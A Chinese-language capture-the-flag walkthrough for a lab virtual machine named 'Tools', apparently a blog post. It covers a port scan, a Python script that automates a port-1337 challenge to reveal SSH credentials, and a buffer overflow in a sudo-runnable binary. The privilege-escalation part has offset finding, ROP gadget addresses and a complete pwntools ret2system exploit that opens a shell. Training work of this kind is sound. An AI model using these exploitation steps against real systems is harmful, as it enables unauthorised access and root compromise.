<h1>Tools</h1>
<h2>Recon</h2>
端口扫描
<pre><code class="hljs language-bash">➜ ~ nmap -sT -min-rate 5000 192.168.56.82
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-16 15:51 CST
Nmap scan report for 192.168.56.82
Host is up (0.00058s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:43:CC:F4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.24 seconds
</code></pre>
<h2>爆破 1337</h2>
访问<code>80</code>端口提示
<img src="/post-images/%E7%BE%A4U%E9%9D%B6%E6%9C%BATools/image.png" alt="image.png">
<code>1337</code> 端口是要我们输入什么
<pre><code class="hljs language-bash">➜ ~ nc 192.168.56.82 1337
Please input [152]: 152
Please input [921]: 921
Please input [441]: 441
Please input [105]: 105
Please input [534]: 534
Please input [192]: 192
Please input [626]: 626
Please input [968]: 968
Please input [674]: 674
Please input [494]: 494
Please input [768]: 768
Please input [808]: 808
Please input [365]: 365
Please input [438]: 438
Please input [975]: 975
Please input [165]: 165
Please input [796]: 796
Please input [892]:
</code></pre>
<code>AI</code> 脚本直接爆破
<pre><code class="hljs language-bash">import socket
import re
import time

# --- 配置 ---
HOST = '192.168.56.82' # 目标服务器 IP 地址
PORT = 1337 # 目标服务器端口
# ------------

# 正则表达式，用于从文本中提取方括号内的数字
pattern = re.compile(r"\[(\d+)\]")

# 定义一个函数，从socket中读取数据，直到遇到特定的分隔符
def read_until(sock, delimiter):
 """从 sock 中读取数据，直到接收到 delimiter 为止"""
 data = b""
 while not data.endswith(delimiter):
 try:
 # 一次只读取一个字节，避免读取过多内容
 chunk = sock.recv(1)
 if not chunk: # 如果连接关闭，recv会返回空字节串
 return data # 返回已接收的数据
 data += chunk
 except socket.timeout:
 # 如果发生超时，也返回已接收的数据
 print("\n[!] 读取超时")
 return data
 return data

try:
 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
 # 设置一个超时，防止脚本在任何recv操作上永久卡住
 s.settimeout(3)
 print(f"[*] 连接到 {HOST}:{PORT}...")
 s.connect((HOST, PORT))
 print("[+] 连接成功！")

 while True:
 # 读取服务器的提示，直到 ": " 出现
 # 我们用 b': ' 是因为它是一个字节字符串
 prompt_bytes = read_until(s, b': ')

 # 如果读取到的数据为空，说明连接可能已断开
 if not prompt_bytes:
 print("\n[*] 连接已关闭。")
 break

 # 将字节解码为字符串以便处理
 prompt_str = prompt_bytes.decode('utf-8')
 print(f"[&#x3C;] 收到: {prompt_str}", end='') # 用 end='' 避免打印多余的换行

 # 在收到的提示中查找数字
 match = pattern.search(prompt_str)

 if match:
 # 提取数字
 number_to_send = match.group(1)

 # 准备要发送的数据（数字 + 换行符）
 response = (number_to_send + '\n').encode('utf-8')

 print(f" [>] 发送: {number_to_send}") # 在同一行打印发送内容

 # 发送响应
 s.sendall(response)

 # 短暂延迟，有时可以避免竞态条件
 time.sleep(0.1)
 else:
 # 如果在提示中没有找到数字，说明挑战结束了
 print("\n\n[*] 未找到挑战数字，假定挑战已完成。")
 print("[*] 服务器最终响应：")
 print("====================================")
 print(prompt_str.strip()) # 打印我们已收到的部分

 # 尝试再多接收一些数据，因为flag可能跟在后面
 try:
 final_data = s.recv(4096).decode('utf-8').strip()
 if final_data:
 print(final_data)
 except socket.timeout:
 pass # 没有更多数据是正常的

 print("====================================")
 break

except ConnectionRefusedError:
 print(f"[!] 连接被拒绝。请检查 IP ({HOST}) 和端口 ({PORT})。")
except socket.timeout:
 print("[!] 连接超时。服务器没有在规定时间内响应。")
except Exception as e:
 print(f"[!] 发生未知错误: {e}")

print("[*] 脚本执行完毕。")

</code></pre>
得到凭据 <code>welcome</code>:<code>learnpwntools</code>
<pre><code class="hljs language-bash">[&#x3C;] 收到: Please input [407]: [>] 发送: 407
[&#x3C;] 收到: Please input [510]: [>] 发送: 510
[&#x3C;] 收到: user/pass:welcome/learnpwntools
</code></pre>
<h2>缓冲区溢出</h2>
查看 <code>sudo</code> 权限
<pre><code class="hljs language-bash">welcome@Tools:~$ sudo -l
Matching Defaults entries for welcome on Tools:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on Tools:
 (ALL) NOPASSWD: /opt/find_backdoor
</code></pre>
运行，发现会有 <code>Segmentation fault</code>
<pre><code class="hljs language-bash">welcome@Tools:~$ /opt/find_backdoor 
please input 
111111111111111111111111111 
ok,bye!!!111111111111111111111111111 
ok,bye!!! 
Segmentation fault 
</code></pre>
拉出来反编译一看存在缓存区溢出漏洞
<img src="/post-images/%E7%BE%A4U%E9%9D%B6%E6%9C%BATools/image1.png" alt="image.png">
查看安全机制，裸奔
<pre><code class="hljs language-bash">welcome@Tools:~$ file /opt/find_backdoor 
/opt/find_backdoor: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1c72ddcad651c7f35bb655e0ddda5ecbf8d31999, not stripped
welcome@Tools:~$ checksec /opt/find_backdoor 
[*] '/opt/find_backdoor'
 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: No canary found
 NX: NX unknown - GNU_STACK missing
 PIE: No PIE (0x400000)
 Stack: Executable
 RWX: Has RWX segments
 Stripped: No
</code></pre>
<code>shift+F12</code>查看字符串，存在 <code>/bin/sh</code>
<img src="/post-images/%E7%BE%A4U%E9%9D%B6%E6%9C%BATools/image2.png" alt="image.png">
查看 <code>plt</code> ，有<code>system</code>函数，可以直接用
<pre><code class="hljs language-bash">pwndbg> plt
Section .plt 0x401020 - 0x401060:
0x401030: puts@plt
0x401040: system@plt
0x401050: gets@plt
</code></pre>
有 <code>system</code> 和 <code>/bin/sh</code> ，直接梭哈
计算偏移值，得到<code>23</code>
<pre><code class="hljs language-bash">➜ ttt /usr/bin/msf-pattern_create -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab...Ag0Ag1Ag2Ag3Ag4Ag5Ag
</code></pre>
<pre><code class="hljs language-bash">pwndbg> x/xg 0x7fffffffdf58
0x7fffffffdf58: 0x3765413665413565
</code></pre>
<pre><code class="hljs language-bash">(pwn) ➜ ttt /usr/bin/msf-pattern_offset -l 200 -q 0x3765413665413565 
[*] Exact match at offset 23
</code></pre>
拿一下需要用到的地址
<pre><code class="hljs language-bash">welcome@Tools:~$ ROPgadget --binary /opt/find_backdoor --string "/bin/sh"
Strings information
============================================================
0x000000000040201b : /bin/sh
</code></pre>
<pre><code class="hljs language-ruby">welcome@Tools:~$ ROPgadget --binary /opt/find_backdoor --only "pop|ret"
Gadgets information
============================================================
0x00000000004011fb : pop rdi ; ret
</code></pre>
<pre><code class="hljs language-bash">welcome@Tools:~$ ROPgadget --binary /opt/find_backdoor --only "pop|ret"
Gadgets information
============================================================
0x0000000000401016 : ret
</code></pre>
编写利用脚本
<pre><code class="hljs language-bash">from pwn import *
r = ssh(host='192.168.56.82', user='welcome', password='learnpwntools')
p = r.process(['sudo', '/opt/find_backdoor']) 
system_addr = 0x401040
bin_sh_addr = 0x000000000040201b
pop_rdi_addr = 0x00000000004011fb
ret = 0x0000000000401016

payload = b'A' * 23 + p64(ret) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
p.sendlineafter(b'please input',payload)
p.interactive()
</code></pre>
<pre><code class="hljs language-bash"> IBT: Disabled
[+] Starting remote process None on 192.168.56.82: pid 1105
[!] ASLR is disabled for '/opt/find_backdoor'!
[*] Switching to interactive mode

AAAAAAAAAAAAAAAAAAAAAAA\x16\x10@
ok,bye!!!
$ $ whoami
welcome
</code></pre>
<img src="/post-images/%E7%BE%A4U%E9%9D%B6%E6%9C%BATools/image3.png" alt="image.png">
<img src="/post-images/%E7%BE%A4U%E9%9D%B6%E6%9C%BATools/image4.png" alt="image.png">

群U靶机 - Tools

HackTheBox - Machine - Developer